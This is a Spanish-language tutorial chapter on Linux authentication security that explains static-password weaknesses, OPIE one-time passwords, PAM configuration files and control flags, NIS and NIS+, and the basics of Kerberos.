Los siguientes procedimientos describen el uso de un sistema se contraseña estático. El usuario es preguntado por el sistema del computador para que escriba un nombre de usuario registrado u otra forma de identificación. El usuario luego ingresa una contraseña que se relaciona con el archivo de contraseña del sistema.

Luego los nombres de usuarios y contraseñas son aceptados, y las contraseñas y nombres de usuarios que no se relacionan son rechazados. En este sistema estático, no se usan utilitarios de encriptación para transmitir la contraseña desde login remotos.

Las desventaja de este tipo de sistemas no son fácilmente aparente como que el sistema tiene el potencial de ceder a los intentos de un intruso ya que este deberá saber el nombre del usuario y la contraseña que se relacionado con la cuenta para ganar acceso al sistema. Desafortunadamente, esta información no es tan difícil de obtener como pareciera a primera vista. Un intruso puede usar un variado número de métodos para obtener esta información. En esta próxima sección discutimos una forma, no necesariamente la mejor o la mas usada, pero al fin la idea es demostrar por lo menos una debilidad.

Crackiando un Sistema de Contraseña Estático

El programa John the Ripper que mostramos anteriormente usa un diccionario como base de datos y entra cada palabra y permutaciones de esta palabra como posible contraseñas. Programas como este a menudo consiguen las contraseñas y son fáciles de obtener en el Internet.

Un programa de husmear en las redes, tal como es Sniffit, también puede ser usado para robar contraseñas. Sniffit monitorea un switch, hub o LAN completa y mostrará la información que pase entre esos computadores conectados por este. Cada vez que un usuario ingresa en el sistema, sus nombres de usuarios y contraseñas son mostradas en texto plano; los programas de sniffing pueden fácilmente obtener esas contraseñas cuando los paquetes que las transportan pasan a través de la red.

Hay métodos menos técnicos de robar contraseñas. Una contraseña escrita en papel, bandeja de escritorio para ser recordada con facilidad puede caer fácilmente en manos de personas no deseadas. Los usuarios que ingresan a sistemas en ambiente de trabajo relativamente públicos, como oficinas gubernamentales o bancos, por ejemplo, pueden ser observadas mientras estos están entrando su login y contraseña. Los intrusos pueden también programas como mostramos aquí para romper contraseñas que son muy simple, como las basadas en los nombres de los usuarios, cargos, fechas de cumpleaños, etc.

S/Key

S/Key es considerado como el precursor del sistema de contraseñas de una sola vez. S/Key fue desarrollado por Bell Communications Research (Bellcore) en 1994. Desde entonces, Bellcore se transformo en Telcordia Technologies y ha parado el desarrollo y mantenimiento de S/Key. Aunque S/Key todavia se puede encontrar en uso, pero este has sido reemplazado por su sucesor OPIE.

OPIE

Después de que Bellcore detuviera el desarrollo y mantenimiento de S/Key, un nuevo sistema de contraseñas de una sola vez fue necesitado. Como resultado, la U.S. Naval Research Laboratory desarrollo libremente una distribución llamada One-time Password In Everything (OPIE). OPIE fue basado en S/Key y es en parte compatible con el programa original.

Como Trabaja OPIE

Un usuario debe primero establecer una cuenta OPIE desde una terminal segura. Estableciendo una cuenta segura remotamente no es recomendado. Los usuarios luego son preguntados que provean una frase, por lo menos de 10 caracteres, con su cuenta. Esta frase sera utilizada mas tarde para generar una contraseña de una sola vez.

Una vez una cuenta es establecida, el usuario puede comenzar a usar las contraseñas de una sola vez. Los usuarios ingresaran al sistema con un nombre de login regular, y el computador responderá con un código de acceso adicional. Este consiste de un algoritmo, casi siempre una secuencia de números basados en un aparato o tarjeta que contiene dos números uno en secuencia del 1 digamos al 100 y otro que fue generado por la semilla. Cuando el sistema pregunta por este el usuario responderá. Algunos usan numero predefinidos, comúnmente en una tarjeta impresa y otros son números generados por un software en el computador o un pequeño equipo que genera números aleatorios basados en la frase secreta sometimos de los 10 caracteres o mas con la contraseña.

El usuario debe tener la tarjeta o el software específico para efectuar el calculo para generar una respuesta y el algoritmo de respuesta MD4 usado debe de ser compatible con el sistema S/Key. Es también importante que el algoritmo especificado en el reto es el mismo que es usado por el calculo. Un ejemplo de un usuario ingresando a un sistema OPIE esta a continuación:

login: antonio
otp-md5 digite el código 15
Response:

La linea de salida otp-md5 código 15 estará impreso en la tarjeta o generado por el equipo es la segunda parte de la contraseña que la establecerá para esta única ocasión. Si es un software o aparato que genera la contraseña OTP, El usuario debe entrar la frase inicial usada para establecerla cuenta, el número de secuencia, y la semilla dentro del software para iniciar el calculo. El número de secuencia es un número arbitrario que disminuye constantemente cada vez que es usado. La semilla es la combinación de letras y números al azar. Por defecto, la semilla puede ser por ejemplo la primera tres letras del nombre del host y digamos séis números al azar.

Estos elementos son luego computados usando el algoritmo de una sola vez especificado en la pregunta. Después los tres ingredientes usados, el software de calculo mostrará la frase del número de dígitos programado constituyéndose en la respuesta de la contraseña de una sola vez. El computador comparará la respuesta con su propio calculo y permitirá o no la entrada dependiendo si ellas coinciden o no. Si el usuario sale del sistema y luego ingresa a este, el número de secuencia decrecerá por uno y el procedimiento tendrá que repetirse para generar la nueva contraseña.

Otra opción en OPIE son el comando opiekey y opieinfo. Un usuario puede imprimir una lista de semillas futuras y una secuencia de números con ese comando. Esta lista es usada para desarrollar las contraseñas futuras en casa de que el usuario estará ingresando al sistema sin el calculo del software.

Ventajas de OPIE

OPIE, hace que los ataques pasivos al sistemas pasen sin efectos adversos. Las contraseñas robadas por Sniffit no son de ninguna preocupación por que esta ha expirado en el momento. Las contraseñas robadas por simple monitoreo tampoco son importantes por la misma razón.

La ventaja principal de usar OPIe es que esta siendo soportada actualmente. La ultima versión de OPIE, parches y softwares de colaboración están disponibles en: http://www.inner.net/pub/opie

Desventajas de OPIE

Ingresar al sistema es un proceso un poco mas complicado cuando se usa el sistema de contraseñas de una sola vez. Para acceso remoto, es necesario tener el software de calculo de segunda llaves. Esto previene a los usuarios de estar disponibles de ingresos rápidos cuando ellos eligen. Sin embargo, los usuarios son producidos por las opciones de imprimir una lista de contraseñas de antemano, la cuales pueden ser físicamente llevadas y usadas para ingresar remotamente al sistema. El riesgo aquí es el mismo que con las contraseñas escritas. La lista puede ser robada, perdida, copiada, conduciendo a una potencial ingreso desautorizado.

Los usuarios pueden asumir que con la complejidad del proceso de OPIE están completamente seguro. Sin embargo, es importante recordar que un intruso solo necesita una frase de usuario para ganar acceso. El resto de la información, es bastante fácil de obtener. Una vez de nuevo, la seguridad del sistema esta limitada por como el usuario protege su frase.

Aunque, es inverosímil que un intruso este disponible para crackear el algoritmo y producir las palabras en la frase, no es imposible, y consecuentemente, OPIE como todos los sistemas es vulnerable a un ataque. Con el mejoramiento de los procesadores, cada día más rápido y mejor tecnologia disponible, esas probabilidades continuarán en aumento a favor del intruso.

Módulo de Autenticación Conectable (PAM)

En el pasado, la autenticación en un sistema GNU/Linux era manejado de una manera especifica para cada programa. Por ejemplo, la verificación de la identidad de un usuario al momento de ingresar al sistema era hecho con la verificando la contraseña dada en contra de la contraseña encriptada en el archivo /etc/passwd o el archivo /etc/shadow, si el uso de contraseñas shadow ha sido habilitado. Otros servicios que necesitaban autenticación, como son xscreensaver, su, pppd, y xd, requieren un mecanismo de autenticación del usuario. Como uno puede imaginarse, era difícil de modificar el nivel de seguridad y de sintonizar bien el nivel de autenticación usado por esos servicios sin recompilar los programas individuales. Por esto, un sistema de librerías, fue desarrollado para permitir la configuración de autenticación de un programa fuera modificado mientras el servicio esta ejecutándose, sin la necesidad de recompilar cada programa individualmente. Este sistema, el cual viene unido con la mayoría de distribuciones de GNU/Linux, es referido como Pluggable Authentication Modules (PAMs).

Los programas que ofrecen privilegios a los usuarios deben autentificar (verificar la identidad) adecuadamente de cada usuario. Al iniciar una sesión en un sistema, el usuario proporciona su nombre de usuario y contraseña y el procedimiento de inicio de sesión usa el nombre de usuario y la contraseña para verificar su identidad.

Los Módulos de Autenticación Conectables (PAM) permiten que el administrador de sistema establezca una política de autenticación sin tener que recompilar programas de autenticación. Con PAM, se controla, cómo determinados módulos de autenticación se conectan a un programa editando el archivo de configuración PAM de ese programa en el directorio /etc/pam.d.

Ventajas de PAM

Cuando se usa correctamente, PAM aporta muchas ventajas para un administrador de sistema, entre ellas:

- Un esquema de autenticación común que se puede usar con una gran variedad de aplicaciones.
- Permite gran flexibilidad y control de la autentificación para el administrador del sistema y el desarrollador de la aplicación.
- Los desarrolladores de aplicaciones no necesitan desarrollar su programa para usar un determinado esquema de autenticación. En su lugar, pueden concentrarse puramente en los detalles de su programa.

Archivos de Configuración PAM

El directorio /etc/pam.d contiene los archivos de configuración de PAM. En versiones antiguas de PAM se utilizaba /etc/pam.conf. El archivo pam.conf todavía se lee si no se encuentran entradas /etc/pam.d/, pero se desaprueba su uso.

Cada aplicación (o servicio, como se conocen comúnmente las aplicaciones proyectadas para ser usadas por muchos usuarios) tiene su propio archivo dentro del directorio /etc/pam.d/.

Estos archivos tienen una presentación específica que contiene llamadas a los módulos habitualmente localizados en el directorio /lib/security/. Adicionalmente, cada línea dentro de un archivo de configuración PAM debe especificar un tipo de módulo, una bandera de control, una ruta hacia el módulo, y, en ocasiones, argumentos del módulo.

Nombres de los Servicios en PAM

El nombre de servicio de todas las aplicaciones habilitadas para usar PAM, es el nombre de su archivo de configuración en /etc/pam.d. Cada programa que usa PAM define su propio nombre de servicio, e instala el archivo de configuración PAM en el directorio /etc/pam.d. Por ejemplo, el programa login define el nombre del servicio como /etc/pam.d/login.

Generalmente, el nombre del servicio es el nombre del programa usado para obtener acceso al servicio, no necesariamente el del programa usado para proporcionar el servicio. Este es el motivo por el que el servicio wu-ftpd define su nombre de servicio como /etc/pam.d/ftp.

Las próximas cuatro secciones describen el formato básico de los archivos de configuración de PAM y mostrarán cómo usan los módulos PAM para ejecutar la autentificación para las aplicaciones que soportan PAM.

Módulos PAM

Existen cuatro tipos de módulos PAM usados para controlar el acceso a los servicios. Estos tipos establecen una correlación entre los diferentes aspectos del proceso de autorización:

auth	Proporcionan la autenticación en sí (tal vez pidiendo y controlando una contraseña) y establecen las credenciales, como la afiliación de grupo o los billetes de Kerberos.
account	Controlan que la autenticación sea permitida (que la cuenta no haya caducado, que el usuario tenga permiso de iniciar sesiones a esa hora del día, etc.).
password	Se usan para establecer contraseñas.
Session	Se usan después de que un usuario ha sido autentificado. Los módulos de session permiten que alguien use su cuenta (para armar el directorio de inicio del usuario o poner a disposición su buzón electrónico, por ejemplo).

Un módulo individual puede direccionar más de uno de los tipos de módulos mencionados anteriormente. Por ejemplo, pam_unix.so tiene componentes que direccionan los cuatro.

En un archivo de configuración PAM, el tipo de módulo es el primer aspecto a definir. Por ejemplo, una línea típica de en una configuración sería:

auth required /lib/security/pam_unix.so

Esto provoca que PAM observe el componente auth del módulo pam_unix.so.

Apilar módulos

Estos módulos se pueden apilar, o colocar uno sobre otro para que se puedan usar los módulos múltiples. El orden de una pila de módulos es muy importante en el procedimiento de autenticación, porque facilita mucho el trabajo de un administrador el requerir que existan varias condiciones antes de permitir que se lleve a cabo la autenticación del usuario.

El hecho de apilarlos hace que sea más fácil para el administrador exigir diversas condiciones antes de permitir la autentificación del usuario. Por ejemplo, rlogin normalmente usa cinco módulos auth, como se puede ver en el archivo de configuración de PAM:

auth required /lib/security/pam_nologin.so
auth required /lib/security/pam_securetty.so
auth required /lib/security/pam_env.so
auth sufficient /lib/security/pam_rhosts_auth.so
auth required /lib/security/pam_stack.so service=system-auth

Antes de que a alguien se le permita llevar a cabo el rlogin, PAM verifica que el archivo /etc/nologin no exista, que no esté intentando iniciar una sesión en modo remoto como root y que se pueda cargar cualquier variable de entorno. Entonces se lleva a cabo una autenticación rhosts exitosa antes que se permita la conexión. Si falla la autenticación rhosts, entonces se lleva a cabo una autenticación de contraseña estándar.

Creación de Módulos

Se pueden añadir módulos PAM nuevos en cualquier momento y después se pueden crear aplicaciones que se puedan usar con los módulos de PAM. Si por ejemplo usted crea un método de creación de contraseñas para usarse una sola vez y escribe un módulo PAM que lo soporte, los programas conscientes de PAM pueden usar el módulo nuevo y el método para contraseñas inmediatamente sin tener que ser recompilados o modificados. Como podrá imaginar, esto es muy positivo, porque le permite combinar y emparejar, además de probar, los métodos de autenticación muy rápidamente con programas diferentes sin tener que recompilar los programas.

La documentación sobre la escritura de módulos contenida en el sistema se encuentra en el directorio /usr/share/doc/pam<número-de-versión>.

Los indicadores de control PAM

Todos los módulos PAM generan un resultado de éxito o fracaso cuando se les hace un control. Los indicadores de control le dicen a PAM qué hacer con el resultado. Como los módulos pueden apilarse en un determinado orden, los indicadores de control le dan la posibilidad de fijar la importancia de un módulo con respecto a los módulos que lo siguen.

Una vez más, considere el archivo de configuración PAM rlogin:

auth required /lib/security/pam_nologin.so
auth required /lib/security/pam_securetty.so

```
auth      required /lib/security/pam_env.so
auth      sufficient /lib/security/pam_rhosts_auth.so
auth      required /lib/security/pam_stack.so service=system-auth
```

El orden en el que se nombran los módulos required no es crítico. Los indicadores hacen que el orden sea importante. Consulte más abajo para una explicación de cada tipo de indicador.

Después de que se especifique el tipo de módulo, los indicadores de control deciden la importancia con la que debería ser considerado ese determinado tipo de módulo en cuanto al propósito general de permitirle a ese usuario el acceso a ese programa.

El estándar PAM define cuatro tipos de indicadores de control:

- Los módulos required indicados deben ser controlados con éxito para que se permita la autenticación. Si fracasa el control de un módulo required, el usuario no recibirá un aviso hasta que no hayan sido controlados los demás módulos del mismo tipo.
- Los módulos requisite indicados también deben ser controlados con éxito para que la autenticación sea exitosa. Sin embargo, si fracasa un control de módulo requisite, el usuario recibe un aviso inmediatamente con un mensaje que refleja el primer módulo required o requisite fracasado.
- Si fracasan los controles a módulos sufficient indicados, se ignoran. Pero si un módulo sufficient indicado pasa el control con éxito y ningún módulo required indicado antes de ese ha fracasado, entonces ningún otro módulo de este tipo se controlará y el usuario será autenticado.
- Los módulos opcionales indicados no son esenciales para el éxito o fracaso general de la autenticación para ese tipo de módulo. Desempeñan un papel sólo cuando ningún otro módulo de ese tipo ha tenido éxito o ha fallado. En este caso el éxito o fracaso de un módulo optional indicado determina la autenticación general PAM para ese tipo de módulo.

Ya está a disposición para PAM una sintaxis de indicador de control más nueva que permite más control. Consulte la documentación de PAM ubicada en /usr/share/doc/pam<número-de-versión> para obtener más información sobre esta sintaxis nueva.

Rutas de módulos PAM

Las rutas de los módulos le indican a PAM dónde encontrar el módulo conectable que hay que usar con el tipo de módulo especificado. Generalmente, se proporciona como una ruta entera de módulo, como /lib/security/pam_stack.so. Sin embargo, si no se proporciona la ruta entera (o sea que la ruta no inicia con /), entonces se supone que el módulo indicado está en /lib/security, que es la ubicación por defecto para los módulos PAM.

Argumentos PAM

PAM utiliza argumentos para transmitir información a un módulo conectable durante la autenticación para ese determinado tipo de módulo. Estos argumentos permiten que los archivos de configuración PAM para determinados programas utilicen un módulo PAM común pero en maneras diferentes.

Por ejemplo, el módulo pam_userdb.so utiliza los secretos almacenados en un archivo Berkeley DB para autentificar al usuario. (Berkeley DB es un sistema de base de datos de código libre proyectado para ser incrustado en muchas aplicaciones para rastrear determinados tipos de información.) El módulo toma un argumento db, especificando el nombre de archivo Berkeley DB que hay que usar, el cual puede variar según el servicio.

La línea pam_userdb.so en un archivo de configuración PAM sería más o menos así:

auth required /lib/security/pam_userdb.so db=path/to/file

Los argumentos inválidos se ignoran y no afectan en ningún modo el éxito o fracaso del módulo PAM. Cuando pasa un argumento inválido, el error normalmente se escribe en /var/log/messages. Sin embargo, como el método de informe está controlado por el módulo PAM, depende del módulo registrar el error correctamente.

Muestras de archivos de configuración PAM

A continuación una muestra de archivo de configuración de la aplicación PAM:

```
#%PAM-1.0
auth     required /lib/security/pam_securetty.so
auth     required /lib/security/pam_unix.so shadow nullok
auth     required /lib/security/pam_nologin.so
account required /lib/security/pam_unix.so
password required /lib/security/pam_cracklib.so retry=3
password required /lib/security/pam_unix.so shadow nullok use_authtok
session required /lib/security/pam_unix.so
```

La primera línea es un comentario como toda línea que inicie con el carácter # . Las líneas dos, tres y cuatro apilan tres módulos a usar para autentificaciones de inicio de sesión.

auth required /lib/security/pam_securetty.so

La segunda línea se asegura de si el usuario está intentando el registro como root, el tty en el que se están registrando está listado en el archivo /etc/securetty, si éste existe.

auth required /lib/security/pam_unix.so nullok

Esta línea provoca que se le exija una contraseña al usuario y comprueba la contraseña mediante el uso de la información almacenada en /etc/passwd y, de existir, /etc/shadow. El módulo pam_unix.so detecta de forma automática y usa las contraseñas shadow almacenadas en /etc/shadow para autentificar los usuarios.

El argumento nullok provoca que el módulo pam_unix.so permita una contraseña en blanco.

auth required /lib/security/pam_nologin.so

Este es el último paso de autentificación. Controla si el archivo /etc/nologin existe. Si existe nologin y el usuario no es root, la autentificación no funcionará.

Note que se controlan los tres módulos auth, no importa si falla el primer módulo auth. Esta estrategia no permite que el usuario se dé cuenta de por qué no se ha permitido su autenticación. Dicha información en manos de un atacador no podría permitir que saquearan el sistema.

account required /lib/security/pam_unix.so

Esta línea conlleva la verificación de la cuenta. Por ejemplo, si las contraseñas shadow han sido habilitadas, el componente de la cuenta del módulo pam_unix.so comprobará si la cuenta ha expirado o si el usuario no ha cambiado sus contraseñas dentro del período permitido.

password required /lib/security/pam_cracklib.so retry=3

Si una contraseña ha expirado, el componente de la contraseña del módulo pam_cracklib.so le pedirá una

nueva contraseña. Pruebe la contraseña de nueva creación para ver si ésta puede ser fácilmente determinada por un programa que descubre las contraseñas de diccionario. Si falla dicha prueba la primera vez, el usuario recibe dos oportunidades más para crear una contraseña más robusta debido al argumento retry=3.

password required /lib/security/pam_unix.so shadow nullok use_authtok

Esta línea especifica que si el programa cambia la contraseña del usuario, éste debería usar el componente password del módulo pam_unix.so para realizarlo. Esto sucederá tan sólo si la porción auth del módulo pam_unix.so ha determinado que la contraseña necesita ser cambiada — por ejemplo, si una contraseña shadow ha expirado.

El argumento shadow hace que el módulo cree contraseñas shadow cuando se actualiza la contraseña del usuario.

El argumento nullok indica al módulo que permita al usuario cambiar su contraseña desde una contraseña en blanco, de lo contrario se crea una contraseña vacía como bloqueo de cuenta.

El argumento final de esta línea use_authtok proporciona un buen ejemplo de cómo se pueden apilar los módulos PAM. Este argumento advierte al módulo a no indicar al usuario una nueva contraseña. En su lugar se acepta cualquier contraseña que pase a través de módulos de contraseña anteriores. De este modo todas las contraseñas nuevas deben pasar el test pam_cracklib.so para contraseñas seguras antes de que sean aceptadas.

session required /lib/security/pam_unix.so

La última línea especifica que el componente de la sesión del módulo pam_unix.so gestionará la sesión. Este módulo registra el nombre de usuario y el tipo de servicio para /var/log/messages al inicio y al final de cada sesión. Puede ser suplementado apilándolo con otros módulos de sesión si necesita más funcionalidad.

El siguiente ejemplo revisará la configuración auth para rlogin:

```
#%PAM-1.0
auth    required    /lib/security/pam_nologin.so
auth    required    /lib/security/pam_securetty.so
auth    required    /lib/security/pam_env.so
auth    sufficient /lib/security/pam_rhosts_auth.so
auth    required    /lib/security/pam_stack.so service=system-auth
```

En primer lugar, pam_nologin.so comprueba si /etc/nologin existe. Si lo hace, nadie se podrá registrar salvo root.

auth required /lib/security/pam_securetty.so

El módulo pam_securetty.so evita que el registro de root se produzca en terminales inseguras. Esto niega el permiso a todos los intentos de rlogin de root por motivos de seguridad. Si necesita registrarse como root, utilice en su lugar OpenSSH.

auth required /lib/security/pam_env.so

El módulo carga las variable de entorno especificadas en /etc/security/pam_env.conf.

auth sufficient /lib/security/pam_rhosts_auth.so

Los módulos pam_rhosts_auth.so autentifican al usuario mediante el uso de .rhosts en el directorio principal

del usuario (el home del usuario). Si esto sucede, PAM autentifica inmediatamente la sesión rlogin. Si pam_rhosts_auth.so no puede autentificar al usuario, se ignorará este intento de autentificación.

auth required /lib/security/pam_stack.so service=system-auth

Si falla el módulo pam_rhosts_auth.so para autentificar el usuario, el módulo pam_stack.so ejecuta la autentificación de la contraseña de forma normal.

El argumento service=system-auth significa que el usuario deberá pasar a través de la configuración de PAM para la autorización del sistema encontrado en /etc/pam.d/system-auth.

Si no desea que se pida la contraseña cuando el control securetty fracasa y determina que el usuario está intentando iniciar una sesión a nivel de root en modo remoto, puede cambiar el módulo pam_securetty.so de required a requisite.

PAM y Propiedad del Dispositivo

Cuando un usuario se registra en una máquina en GNU/Linux, el módulo pam_console.so adquiere el nombre de login o del programa gráfico gdm. Si este usuario es el primer usuario en registrarse en la consola física del usuario llamada console user, el módulo concede la propiedad de una variedad de dispositivos que normalmente posee root. El usuario de la consola posee estos dispositivos hasta que la última sesión local para ese usuario finaliza. Una vez que el usuario se ha desconectado, la propiedad de los dispositivos vuelve a los valores por defecto.

Los dispositivos afectados incluyen, pero no son limitados, las tarjetas de sonido, las unidades de disco y las unidades de CD-ROM. Esto permite que el usuario local manipule estos dispositivos sin llegar a root, de manera que se simplifican las tareas comunes para el usuario de la consola. Puede modificar la lista de dispositivos controlados por pam_console.so en el archivo /etc/security/console.perms.

Acceso de la Aplicación

También se permite el acceso a cualquier programa con un archivo que soporte el nombre de comando en el directorio /etc/security/console.apps/. Estos archivos no necesitan contener ningún dato, pero deben tener el nombre exacto del comando al que corresponden.

Un grupo notable de aplicaciones a las que tiene acceso el usurario de la consola son tres programas que cierran o abren el sistema. Estos son:

- /sbin/halt
- /sbin/reboot
- /sbin/poweroff

Ya que existen aplicaciones que soportan PAM, éstas llaman pam_console.so como requisito para el uso. Para más información vea las páginas de manual para pam_console, console.perms y console.apps.

pam.d

La única diferencia de usar un directorio pam.d entre un archivo pam.conf es como el nombre del servicio es definido. Dentro de pam.conf, un nombre de servicio es definido como el primer campo en una linea de configuración. Cuando la configuración de pam.d es usada, cada archivo dentro de ese directorio representa un nombre de servicio, y el contenido del archivo define la configuración para ese servicio. Las lineas de configuración dentro del archivo pam.d no contiene un campo “service-name”, así el tipo de modulo es el

primer campo.

Usando OPIE con PAM

Para poder agregar OPIE a un servidor PAM, el archivo de configuración para PAM debe de ser modificado. Debemos agregar los módulos de OPIE al archivo de login de PAM; el sitio típico para los archivos de login de PAM en el directorio de configuración /etc/pam.d o en el archivo ya deprecado /etc/pam.conf.

Un ejemplo para el campo de autenticación agregado al archivo de login es mostrado a continuación:

auth sufficient /lib/security/pam_opie.so

Para obtener OPIE y ejecutar como un módulo de PAM deberá obtenerlo desde Internet en su codigo fuente y compilarlo, aunque en Suse aparecen en formato RPM y quizad pueda lograr instalarlo en Fedora, googleando podemos encontrar este sitio y descargar los fuentes: **http://www. XXXXYYYYYY**

NIS y NIS+

El servicio de Información de Red (NIS) ayuda a distribuir la información de los usuarios y del host que se almacenan en los archivos del sistema, archivos como /etc/passwd, /etc/gshadow, /etc/hosts y /etc/group a través de la red o hasta por las conexiones de Internet-working. NIS ha tenido una larga historia relacionada problemas de seguridad, varios pasos deben ser tomados para asegurar una red que utilice NIS para que este pueda estar seguro. NIS+ es un paquete alternativo desarrollado por Sun que pone mas énfasis en los problemas de seguridad.

NIS y NIS+ pueden ser usados cuando se trata de mantener una Intranet de estaciones de trabajos con GNU/Linux. Con una cuenta de NIS, cualquier sistema ejecutando el software cliente de NIS puede ingresar por cualquier usuario NIS. Una copia máster de los archivos del sistema en el servidor NIS puede también ser distribuida a las maquinas clientes en el momento que toman efecto actualizaciones.

En esta sección, cubriremos los siguientes temas:

- Como Funciona NIS y NIS+
- NIS vs. NIS+

Como Funciona NIS y NIS+

NIS y NIS+ trabajan bajo un concepto bastante simple. Cuando el servidor maestro se inicia, este lee y analiza los datos en los archivos de configuración. Luego este almacena la información desde los datos de los archivos en mapas (o tablas, si es NIS+) y espera por una respuesta. Cada vez que un cambio es hecho al servidor maestro, los cambios son también incluidos en el servidor(es) esclavo.

Cuando un usuario ingresa y realiza otra operación requiriendo NIS a un computador en ese dominio particular de NIS y NIS+, el cliente envía una petición al servidor máster y obtiene la información. Si el servidor maestro no esta funcionando o dura mucho tiempo en responder, el cliente trata en vez con uno de los servidores esclavos. Mientras la implementación de NIS+ difiere de NIS, el efecto en la red es similar. Sin embargo, NIS+ no tiene el comando tradicional YP y es está mas orientado a ser seguro.

El Servidor Master (Maestro)

Como su nombre lo indica, este el es servidor principal para una instalación NIS o NIS+. Este provee todos los mapas que contienen las contraseñas, grupos, tablas de host y otras informaciones necesitadas por un NIS y NIS+.

El Servidor Esclavo

El servidor esclavo actúa cuando el servidor maestro esta fuera de servicio. Todos los esclavos son actualizados cuando un cambio es hecho al servidor maestro.

Clientes

Todos los computadores en la red, incluyendo el servidor maestro y esclavo, son clientes. Estos accesan la información desde el servidor maestro o el esclavo en caso de que el maestro este fuera de servicio.

NIS vs. NIS+

No hay relación entre NIS y NIS+. Los comandos, estructura y el manejo de la seguridad son diferentes. NIS+ usa tablas en vez de mapas; NIS+ usa contraseñas RPC así como el login estándar de acceso al sistema. NIS tiende a ser mas fácil de configurar y mantener. Los problemas inherentes con NIS es que el programa es inseguro. Su autenticación no es confiable, pasando datos sin encriptar y replicas a través de la red. NIS puede permitir que el archivo /etc/passwd este disponible ha todos los que accedan la red. Dado el nombre de dominio de NIS y la dirección del servidor, cualquiera puede hacer una petición passwd.byname.map. Así, la contraseña encriptada son obtenido, y los programas que pueden crackear de contraseña pueden ser ejecutados sobre el archivo de contraseña.

Hay tres maneras diferentes para mejorar la seguridad de NIS:

- Usar /etc/host.allow y /etc/host.deny para limitar el acceso a los servidores confiables.
- Usar el /etc/ypserv.securenet. Todas las conexiones son denegadas excepto para los hosts listados en este archivo, hasta el localhost debe de ser explícitamente permitido.
- Usar secure portmapper. No usar /etc/ypserv.securenet y el secure portmapper juntos.

El problema con NIS+ es en la implementación mas que en la seguridad. NIS+ fue desarrollado por Sun y puede ser implementado en GNU/Linux. El NIS+ tiene soporte y está activamente bajo desarrollo, además es muy usado aún que que genera buen soporte en los foros y listas de correo.

Mientras que NIS+ es la mas segura de las dos implementaciones. NIS tiene la documentación y soporte mas amplia ya que fue y sigue siendo mas usado. Como un administrador de Sistema, usted debe de investigar los últimos desarrollos de NIS+ y decidir cual es el mas apropiado para su red. Ni NIS o NIS+ deben ser implementados en un ambiente de Internet sin colocarlo detrás de un Firewall.

KERBEROS

Kerberos es un protocolo de seguridad para realizar servicios de autenticación en la red que ha sido creado por MIT el cual usa una criptografía basada en claves secretas para la seguridad de las contraseñas en la red. La encriptación de contraseñas con Kerberos puede ayudar a evitar que los usuarios no autorizados intercepten contraseñas en la red y además representa otro método de seguridad del sistema.

¿Por qué usar Kerberos?

La mayoría de las redes usan esquemas de autenticación basados en contraseñas que cuando viajan lo hacen sin encriptar. Cuando un usuario necesita autenticarse para usar un servicio de los que se ejecutan en uno de los servidores de la red, su contraseña es escrita una y otra vez para cada servicio que requiere su autenticación. Su contraseña es enviada a través de la red y el servidor verifica su identidad mediante el uso de la contraseña.

La transmisión de contraseñas en texto plano mediante el uso de este método, aunque hecho a menudo, representa un riesgo de seguridad tremendo. Cualquier intruso del sistema con acceso a la red y un analizador de paquetes puede interceptar cualquier contraseña enviada de este modo.

El primer objetivo de Kerberos es el de asegurar que las contraseñas nunca sean enviadas a través de la red sin ser encriptadas. La correcta implementación de Kerberos erradica la amenaza de que analizadores de paquetes que intercepten contraseñas en su red.

Terminología Kerberos

Como otros sistemas, Kerberos tiene su propia terminología, lenguaje usado para comunicar sus funcionamiento. Aquí hay una lista de términos que necesitará para estar familiarizado con Kerberos:

Cliente

Una entidad de la red (un usuario, un host o una aplicación) que toma un ticket de Kerberos.

Caché de Credenciales o archivo de tickets

Un archivo que contiene las claves para encriptar las comunicaciones entre el usurario y varios servicios de red. Kerberos 5 proporciona un framework para usar otros tipos de caché (como la memoria compartida), pero los archivos son mejor soportados.

Clave

Dato usado cuando encriptamos o desencriptamos otros datos. Los datos encriptados no pueden ser desencriptados sin la clave apropiada.

Centro de Distribución de claves (KDC)

Un servicio que emite tickets de Kerberos, que habitualmente se ejecutan en el mismo host como un Ticket Granting Server.

Dominio

Red que usa Kerberos, compuesto de uno o varios servidores (también conocidos como KDCs) y un número potencial de clientes.

Keytab

Un archivo que incluye una lista desencriptada de “principals” (nombre de usuarios) y sus claves. Los servidores recuperan las claves que necesitan del archivo keytab en lugar de usar kinit. /etc/krb5.keytab es el archivo keytab por defecto. El comando kadmind es el único servicio que usa cualquier otro archivo (/var/kerberos/krb5kdc/kadm5.keytab)

principal

Usuario o servicio que puede autentificar mediante el uso de Kerberos. Un nombre de principal es en el formato “antonio[/instancia]@DOMINIO”. Para un usuario típico, antonio es igual a su ID de login. La instancia es opcional. Si el principal tiene un instancia, se separa del usuario antonio con ("/"). Una cadena vacía ("") es un instancia válida (que difiere del instancia por defecto NULL), pero usarlo puede ser confuso. Todos los principals de un dominio tienen su propia clave, que se deriva de su contraseña (para usuarios) o de forma aleatoria (para servicios).

Servicio

Programa u computador al que se accede en la red.

texto cifrado

datos encriptados

texto plano

Datos no encriptados.

Ticket

Grupo temporal de credenciales electrónicos que verifica la identidad de un cliente para un servicio particular.

Ticket Granting Service (TGS)

Emite tickets para un servicio deseado que usa el usuario para ganar acceso al servicio. El TGS se ejecuta en el mismo host que KDC.

Ticket Granting Ticket (TGT)

Ticket especial que permite al cliente obtener tickets adicionales sin aplicarlos desde KDC.

Modo en que funciona Kerberos

Ahora que ya conoce algunos de los términos que utiliza Kerberos, ya podemos dar una pequeña explicación del funcionamiento del sistema de autenticación Kerberos. Pequeña ya que de Kerberos y su implementación y aplicación se puede escribir un libro y nos saca del tema de seguridad y no de Servidores.

En una red “normal”, sin kerberos, que usa contraseñas para autenticar sus usuarios, cuando un usuario demanda un servicio de la red que requiere autenticación, el usuario tiene que teclear su contraseña. Su contraseña es trasmitida en texto plano y se concede el acceso a este servicio de la red.

El principal problema para Kerberos consiste en cómo usar contraseñas para autenticarse sin enviarlas por la red. En una red kerberizada, la base de datos de Kerberos contiene la clave de los usuarios (la clave de los usuarios de kerberos se deriva de la contraseñas de estos en el sistema). La base de datos Kerberos también contiene claves para todos los servicios de la red.

Cuando un usuario en una red kerberizada se registra en su estación de trabajo, su principal se envía al Key Distribution Center (KDC) con una petición para un Ticket Granting Ticket (TGT). Esta petición puede ser enviada por el programa login (para que sea transparente al usuario) o puede ser enviada por el programa kinit después de que el usuario se registre en el sistema.

